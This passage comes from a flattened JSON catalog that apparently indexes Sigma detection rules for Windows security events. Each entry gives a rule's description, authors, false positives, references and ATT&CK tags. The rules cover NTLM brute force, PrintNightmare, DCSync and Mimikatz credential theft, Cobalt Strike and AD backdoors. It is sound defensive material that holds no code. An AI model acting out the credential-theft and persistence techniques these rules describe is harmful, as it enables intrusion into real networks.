"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml", - "https://goo.gl/PsqrhT" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1550.002" - ] - }, - "uuid": "98c3bcf1-56f2-49dc-9d8d-c66cf190238b", - "value": "NTLM Logon" - }, - { - "description": "Detects common NTLM brute force device names", - "meta": { - "author": "Jerry Shockley '@jsh0x'", - "creation_date": "2022/02/02", - "falsepositive": [ - "Systems with names equal to the spoofed ones used by the brute force tools" - ], - "filename": "win_susp_ntlm_brute_force.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.varonis.com/blog/investigate-ntlm-brute-force", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "9c8acf1a-cbf9-4db6-b63c-74baabe03e59", - "value": "NTLM Brute Force" - }, - { - "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", - "meta": { - "author": "James Pemberton", - "creation_date": "2020/05/22", - "falsepositive": [ - "Host connections to valid domains, exclude these.", - "Host connections not using host FQDN.", - "Host connections to external legitimate domains." - ], - "filename": "win_susp_ntlm_rdp.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml", - "n/a" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "ce5678bb-b9aa-4fb5-be4b-e57f686256ad", - "value": "Potential Remote Desktop Connection to Non-Domain Host" - }, - { - "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", - "meta": { - "author": "mdecrevoisier", - "creation_date": "2022/10/25", - "falsepositive": [ - "Legitimate administrator activity" - ], - "filename": "win_sshd_openssh_server_listening_on_socket.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", - "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml", - "https://winaero.com/enable-openssh-server-windows-10/", - "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.004" - ] - }, - "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", - "value": "OpenSSH Server Listening On Socket" - }, - { - "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", - "meta": { - "author": "Florian Roth, KevTheHermit, fuzzyf10w, Tim Shelton", - "creation_date": "2021/06/30", - "falsepositive": [ - "Problems with printer drivers" - ], - "filename": "win_exploit_cve_2021_1675_printspooler.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml", - "https://twitter.com/fuzzyf10w/status/1410202370835898371", - "https://github.com/afwu/PrintNightmare", - "https://github.com/hhlxf/PrintNightmare" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675" - ] - }, - "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", - "value": "Possible CVE-2021-1675 Print Spooler Exploitation" - }, - { - "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/01", - "falsepositive": [ - "Unknown" - ], - "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml", - "https://twitter.com/MalwareJake/status/1410421967463731200" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675" - ] - }, - "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", - "value": "CVE-2021-1675 Print Spooler Exploitation" - }, - { - "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_aadhealth_mon_agent_regkey_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml", - "https://o365blog.com/post/hybridhealthagent/" - ], - "tags": [ - "attack.discovery", - "attack.t1012" - ] - }, - "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe", - "value": "Azure AD Health Monitoring Agent Registry Keys Access" - }, - { - "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_aadhealth_svc_agent_regkey_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml", - "https://o365blog.com/post/hybridhealthagent/" - ], - "tags": [ - "attack.discovery", - "attack.t1012" - ] - }, - "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", - "value": "Azure AD Health Service Agents Registry Keys Access" - }, - { - "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", - "meta": { - "author": "Michaela Adams, Zach Mathis", - "creation_date": "2022/11/06", - "falsepositive": [ - "Anti-Virus" - ], - "filename": "win_security_access_token_abuse.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml", - "https://attack.mitre.org/techniques/T1134/001/", - "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", - "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1134.001" - ] - }, - "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", - "value": "Access Token Abuse" - }, - { - "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", - "meta": { - "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat", - "creation_date": "2019/04/03", - "falsepositive": [ - "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." - ], - "filename": "win_security_account_backdoor_dcsync_rights.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml", - "https://twitter.com/menasec1/status/1111556090137903104", - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f", - "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right" - }, - { - "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "If source account name is not an admin then its super suspicious" - ], - "filename": "win_security_account_discovery.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml", - "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ] - }, - "uuid": "35ba1d85-724d-42a3-889f-2e2362bcaf23", - "value": "AD Privileged Users or Groups Reconnaissance" - }, - { - "description": "Detects certificate creation with template allowing risk permission subject", - "meta": { - "author": "Orlinum , BlueDefenZer", - "creation_date": "2021/11/17", - "falsepositive": [ - "Administrator activity", - "Proxy SSL certificate with subject modification", - "Smart card enrollement" - ], - "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml", - "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ] - }, - "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", - "value": "ADCS Certificate Template Configuration Vulnerability" - }, - { - "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", - "meta": { - "author": "Orlinum , BlueDefenZer", - "creation_date": "2021/11/17", - "falsepositive": [ - "Administrator activity", - "Proxy SSL certificate with subject modification", - "Smart card enrollement" - ], - "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", - "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ] - }, - "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", - "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU" - }, - { - "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", - "meta": { - "author": "frack113", - "creation_date": "2022/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_add_remove_computer.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml", - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743" - ], - "tags": "No established tags" - }, - "uuid": "20d96d95-5a20-4cf1-a483-f3bda8a7c037", - "value": "Add or Remove Computer from DC" - }, - { - "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", - "meta": { - "author": "frack113", - "creation_date": "2022/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_admin_logon.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672" - ], - "tags": "No established tags" - }, - "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb", - "value": "User with Privileges Logon" - }, - { - "description": "Detect remote login by Administrator user (depending on internal pattern).", - "meta": { - "author": "juju4", - "creation_date": "2017/10/29", - "falsepositive": [ - "Legitimate administrative activity." - ], - "filename": "win_security_admin_rdp_login.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml", - "https://car.mitre.org/wiki/CAR-2016-04-005" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1078.001", - "attack.t1078.002", - "attack.t1078.003", - "car.2016-04-005" - ] - }, - "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", - "value": "Admin User Remote Logon" - }, - { - "description": "Detects access to $ADMIN share", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/04", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "win_security_admin_share_access.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", - "value": "Access to ADMIN$ Share" - }, - { - "description": "Detects WRITE_DAC access to a domain object", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_ad_object_writedac_access.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml", - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.001" - ] - }, - "uuid": "028c7842-4243-41cd-be6f-12f3cf1a26c7", - "value": "AD Object WriteDAC Access" - }, - { - "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/07/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_ad_replication_non_machine_account.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml", - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.006" - ] - }, - "uuid": "17d619c1-e020-4347-957e-1d1207455c93", - "value": "Active Directory Replication from Non Machine Account" - }, - { - "description": "Detects access to a domain user from a non-machine account", - "meta": { - "author": "Maxime Thiebaut (@0xThiebaut)", - "creation_date": "2020/03/30", - "falsepositive": [ - "Administrators configuring new users." - ], - "filename": "win_security_ad_user_enumeration.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", - "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ] - }, - "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a", - "value": "AD User Enumeration" - }, - { - "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", - "meta": { - "author": "@neu5ron", - "creation_date": "2017/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_alert_active_directory_user_control.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml", - "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd", - "value": "Enabled User Right in AD to Control User Objects" - }, - { - "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", - "meta": { - "author": "@neu5ron", - "creation_date": "2017/04/13", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_alert_ad_user_backdoors.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://adsecurity.org/?p=3466", - "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", - "https://msdn.microsoft.com/en-us/library/cc220234.aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" - ], - "tags": [ - "attack.t1098", - "attack.persistence" - ] - }, - "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", - "value": "Active Directory User Backdoors" - }, - { - "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", - "meta": { - "author": "@neu5ron", - "creation_date": "2017/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_alert_enable_weak_encryption.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml", - "https://adsecurity.org/?p=2053" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd", - "value": "Weak Encryption Enabled and Kerberoast" - }, - { - "description": "This events that are generated when using the hacktool Ruler by Sensepost", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/05/31", - "falsepositive": [ - "Go utilities that use staaldraad awesome NTLM library" - ], - "filename": "win_security_alert_ruler.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/sensepost/ruler", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", - "https://github.com/sensepost/ruler/issues/47", - "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1087", - "attack.t1114", - "attack.t1059", - "attack.t1550.002" - ] - }, - "uuid": "24549159-ac1b-479c-8175-d42aea947cae", - "value": "Hacktool Ruler" - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "meta": { - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_apt_chafer_mar18_security.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml", - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", - "value": "Chafer Activity" - }, - { - "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", - "meta": { - "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", - "creation_date": "2019/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_apt_slingshot.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml", - "https://securelist.com/apt-slingshot/84312/" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.s0111" - ] - }, - "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", - "value": "Defrag Deactivation" - }, - { - "description": "Detects activity mentioned in Operation Wocao report", - "meta": { - "author": "Florian Roth, frack113", - "creation_date": "2019/12/20", - "falsepositive": [ - "Administrators that use checkadmin.exe tool to enumerate local administrators" - ], - "filename": "win_security_apt_wocao.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://twitter.com/SBousseaden/status/1207671369963646976", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1036.004", - "attack.t1027", - "attack.execution", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", - "value": "Operation Wocao Activity" - }, - { - "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_atsvc_task.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml", - "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.persistence", - "car.2013-05-004", - "car.2015-04-001", - "attack.t1053.002" - ] - }, - "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00", - "value": "Remote Task Creation via ATSVC Named Pipe" - }, - { - "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/07", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_camera_microphone_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml", - "https://twitter.com/duzvik/status/1269671601852813320", - "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ] - }, - "uuid": "8cd538a4-62d5-4e83-810b-12d41e428d6e", - "value": "Processes Accessing the Microphone and Webcam" - }, - { - "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", - "meta": { - "author": "Florian Roth, Wojciech Lesicki", - "creation_date": "2021/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_cobaltstrike_service_installs.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml", - "https://www.sans.org/webcasts/119395", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1543.003", - "attack.t1569.002" - ] - }, - "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", - "value": "CobaltStrike Service Installations" - }, - { - "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", - "meta": { - "author": "OTR (Open Threat Research)", - "creation_date": "2018/11/28", - "falsepositive": [ - "Domain Controllers acting as printer servers too? :)" - ], - "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/_dirkjan/status/1309214379003588608", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e", - "value": "DCERPC SMB Spoolss Named Pipe" - }, - { - "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_dcom_iertutil_dll_hijack.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1021.003" - ] - }, - "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", - "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack" - }, - { - "description": "Detects Mimikatz DC sync security events", - "meta": { - "author": "Benjamin Delpy, Florian Roth, Scott Dermott, Sorina Ionescu", - "creation_date": "2018/06/03", - "falsepositive": [ - "Valid DC Sync that is not covered by the filters; please report", - "Local Domain Admin account used for Azure AD Connect" - ], - "filename": "win_security_dcsync.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", - "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", - "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", - "https://twitter.com/gentilkiwi/status/1003236624925413376" - ], - "tags": [ - "attack.credential_access", - "attack.s0002", - "attack.t1003.006" - ] - }, - "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a", - "value": "Mimikatz DC Sync" - }, - { - "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", - "meta": { - "author": "@BarryShooshooga", - "creation_date": "2019/10/26", - "falsepositive": [ - "Intended inclusions by administrator" - ], - "filename": "win_security_defender_bypass.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml", - "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d", - "value": "Windows Defender Exclusion Set" - }, - { - "description": "Detects an installation of a device that is forbidden by the system policy", - "meta": { - "author": "frack113", - "creation_date": "2022/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_device_installation_blocked.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" - ], - "tags": "No established tags" - }, - "uuid": "c9eb55c3-b468-40ab-9089-db2862e42137", - "value": "Device Installation Blocked" - }, - { - "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/03", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_security_diagtrack_eop_default_login_username.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml", - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", - "value": "DiagTrackEoP Default Login Username" - }, - { - "description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off 